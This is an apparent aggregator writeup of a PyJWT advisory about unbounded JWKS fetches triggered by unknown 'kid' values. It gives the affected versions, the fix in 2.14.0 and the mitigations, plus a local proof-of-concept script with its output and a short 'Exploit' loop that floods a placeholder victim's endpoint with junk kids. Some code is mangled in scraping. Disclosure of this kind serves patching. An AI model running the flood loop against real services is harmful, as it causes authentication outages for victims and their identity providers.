Listen to this Post
CVE-2026-48524 affects PyJWT’s PyJWKClient.
It was tracked as GHSA-fhv5-28vv-h8m8.
The vulnerability is an unauthenticated denial of service.
Attacker-controlled kid values in token headers trigger JWKS fetches.
PyJWKClient.get_signing_key(kid) handles unknown kids.
On any unknown kid, it calls get_signing_keys(refresh=True).
refresh=True bypasses jwk_set_cache unconditionally.
It forces a fresh fetch_data() call.
The kid is read from the unverified token header.
get_signing_key_from_jwt decodes with verify_signature=False.
No valid token is required.
No authentication is required.
lru_cache does not cache the raised exception.
Even the same unknown kid re-fetches every call.
CVE-2026-48524 was fixed in 2.13.0 for one path.
fetch_data() no longer clears cache on fetch error.
But no rate-limit was added.
No negative-cache was added.
No minimum-refresh-interval was added.
Affected versions are pyjwt <= 2.13.0.
No fixed version existed at the time of the advisory.
A PoC on 2.13.0 used cache_keys=True and lifespan=3600.
Eight distinct unknown kids caused nine fetches.
Five repeated same unknown kids caused five extra fetches.
Each unknown kid forces a fresh JWKS fetch.
Repeated identical unknown kid re-fetches against unexpired cache.
One unauthenticated request causes one outbound JWKS HTTP fetch.
Victim also performs full JSON parse.
Amplification path is attacker -> victim -> IdP.
This exhausts victim CPU and sockets.
It can trip JWKS provider rate-limit.
It can cause application-wide auth outage.
Suggested fix: negative-cache unknown kids for short TTL.
Or enforce minimum interval between forced refreshes.
Maintainer fix on master commit ba4853a.
PyJWKClient applies 30-second cooldown after successful fetches.
Concurrent refresh decisions are serialized per client.
Callers can configure or disable cooldown.
Cache-disabled behavior remains unchanged.
Immediate retry after failed fetches remains unchanged.
Regression tests cover repeated unknown kids and cooldown expiry.
PyJWT 2.14.0 released 2026-09-11 contains verified fix.
Reported by Babakizo (Securva).
DailyCVE Form:
Platform: PyJWT
Version: <= 2.13.0
Vulnerability: Unbounded JWKS fetches
Severity: Not specified
date: 2026-09-11
Prediction: 2026-09-11
(end of form)
What Undercode Say:
pip install pyjwt==2.13.0 python -c "import jwt; print(jwt.<strong>version</strong>)"
import threading, http.server, socketserver, json
from jwt import PyJWKClient
hits = {'n': 0}
JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
hits['n'] += 1
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(JWKS)
def log_message(self,a):
pass
srv = socketserver.TCPServer(('127.0.0.1',0), H)
port = srv.server_address[bash]
threading.Thread(target=srv.serve_forever, daemon=True).start()
c = PyJWKClient(f'http://127.0.0.1:{port}/jwks.json', cache_keys=True, lifespan=3600)
for i in range(8):
try:
c.get_signing_key(f'attacker-unknown-kid-{i}')
except Exception:
pass
before = hits['n']
for _ in range(5):
try:
c.get_signing_key('same-unknown')
except Exception:
pass
print('distinct unknown kids: 8 -> fetches:', hits['n'])
print('same unknown kid x5 -> extra fetches:', hits['n'] - before)
Output:
distinct unknown kids: 8 -> fetches: 9
same unknown kid x5 -> extra fetches: 5
Exploit: (Educational Purposes!)
from jwt import PyJWKClient
c = PyJWKClient("https://victim.example/jwks.json", cache_keys=True, lifespan=3600)
for i in range(1000):
try:
c.get_signing_key(f"attacker-unknown-kid-{i}")
except Exception:
pass
Protection: from this CVE Impact:
pip install --upgrade pyjwt==2.14.0
negative-cache unknown kids for short TTL enforce minimum interval between forced JWKS refreshes apply 30-second cooldown after successful JWKS fetches serialize concurrent refresh decisions per client allow callers to configure or disable cooldown
Impact:
One unauthenticated request causes one outbound JWKS HTTP fetch.
Attacker floods junk kids.
Victim hammers JWKS/IdP endpoint.
Exhausts CPU/sockets.
Trips provider rate-limit.
Causes application-wide auth outage.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

